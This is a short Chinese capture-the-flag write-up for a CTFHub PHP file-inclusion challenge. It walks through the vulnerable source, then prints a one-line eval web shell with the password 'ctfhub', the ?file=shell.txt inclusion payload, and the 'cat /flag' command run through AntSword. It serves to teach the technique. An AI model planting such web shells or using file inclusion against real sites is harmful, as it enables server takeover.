文件包含

点击此处获得更好的阅读体验


WriteUp来源

本WP来自Jazz原创投稿

题目考点

  • PHP语言

  • include函数

  • 一句话木马

解题思路

开局给出源代码

带大家通读源码:

第一行:略

第二行:取消报错

第三行:判断是否通过get接收到参数“file”

第四行:如果接受到的file参数内容里包含有“flag”字段,则

第五行:满足第四行的if条件,即接受到的内容中不含flag字段,就include包含文件

第六行:否则

第七行:不满足if条件,即包含有flag,echo hack

第八行:略

第九行:略

略略略

其实这道题只有一个考点:include函数

先不急 先注意到题目下方有提示:

访问之:http://challenge-d8e3b3e0b906f358.sandbox.ctfhub.com:10080/shell.txt

1
<?php eval($_REQUEST['ctfhub']);?>

是一个密码为ctfhub的一句话木马

下面简单讲一下include函数的作用

你就可以理解成

假如在index.php中include了一个文件

那么不管这个文件后缀是什么 这个文件中的内容将会直接出现在index.php中

所以这道题的payload构造思路就是把shell.txt里的内容想办法放到index.php中去

根据源码构造payload:

1
?file=shell.txt

直接上蚁剑

执行命令

1
cat /flag